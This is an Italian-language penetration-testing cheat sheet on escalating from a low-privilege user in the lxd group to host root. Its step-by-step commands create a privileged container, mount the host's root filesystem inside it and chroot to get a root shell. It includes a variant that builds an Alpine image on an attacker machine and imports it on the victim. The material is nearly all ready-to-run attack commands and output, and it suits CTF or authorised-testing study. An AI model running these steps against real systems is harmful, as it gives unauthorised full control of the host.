tags: LXD_Privalage Privilegio_LXD LXD priv_esc privilage_escalation


Se il nostro utente ha il privilegio LXD:

id
 
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)

Possiamo utilizzarlo per diventare root nel seguente modo:

Immagine esistente

Prima guardiamo se possiamo utilizzare un’immagine già esistente:

lxc image list

Se per esempio ci appare l’immagine Alpine usiamo quella:

 
# 1. Crea il container
 
lxc init alpine privesc -c security.privileged=true
 
# 2. Monta il disco dell'host
 
lxc config device add privesc host-disk disk source=/ path=/mnt/root recursive=true
 
# 3. Avvia e ottieni una shell
 
lxc start privesc
 
lxc exec privesc /bin/sh
 
chroot /mnt/root /bin/bash
 

Per farti capire meglio metto un altro esempio:

 
# 1. Crea il container
 
lxc init images:ubuntu/18.04 pwned -c security.privileged=true
 
# 2. Monta il disco dell'host
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
 
# 3. Avvia e ottieni una shell
 
lxc start pwned
 
lxc exec pwned /bin/bash 
 
#Se vuoi diventare _root dell’host_ vero e proprio:
 
chroot /mnt/root /bin/bash
 

Mancanza immagine esistente

Nel caso non ci fosse nessuna immagine possiamo scaricarla noi nel seguente modo:

Scarichiamo l’immagine nella nostra macchina attaccante:

 
git clone https://github.com/saghul/lxd-alpine-builder.git
 
cd lxd-alpine-builder
 
./build-alpine
 

Apparirà un qualcosa del genere alpine-v3.12-x86_64-20200623_1255.tar.gz.

Trasferisci questo file nella macchina vittima.

Ora lancia questo comando:

lxc image import alpine-v3.12-x86_64-20200623_1255.tar.gz --alias myalpine

E dovrebbe apparire nella lista:

www-data@ubuntu:/tmp$ lxc image list
lxc image list
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
|  ALIAS   | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |          UPLOAD DATE          |
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
| myalpine | f3c94a02e9d8 | no     | alpine v3.12 (20200623_12:55) | x86_64 | 3.07MB | Jun 23, 2020 at 11:07am (UTC) |
+----------+--------------+--------+-------------------------------+--------+--------+-------------------------------+

Adesso possiamo seguire la procedura come descritto sopra:

 
# 1. Crea il container
 
lxc init myalpine joker -c security.privileged=true
 
# 2. Monta il disco dell'host
 
lxc config device add joker mydevice disk source=/ path=/mnt/root recursive=true
 
# 3. Avvia e ottieni una shell
 
lxc start joker
 
lxc exec joker /bin/sh
 
#Se vuoi diventare _root dell’host_ vero e proprio:
 
chroot /mnt/root /bin/bash
 

Sia l’attacco LXD che quello Docker si basano sullo stesso identico principio:

“Sfruttare un’autorizzazione legittima (essere nel gruppo lxd o docker) per chiedere a un servizio privilegiato (il demone LXD/Docker che gira come root) di montare il file system radice dell’host (/) all’interno di un container, dandoti di fatto accesso a root.”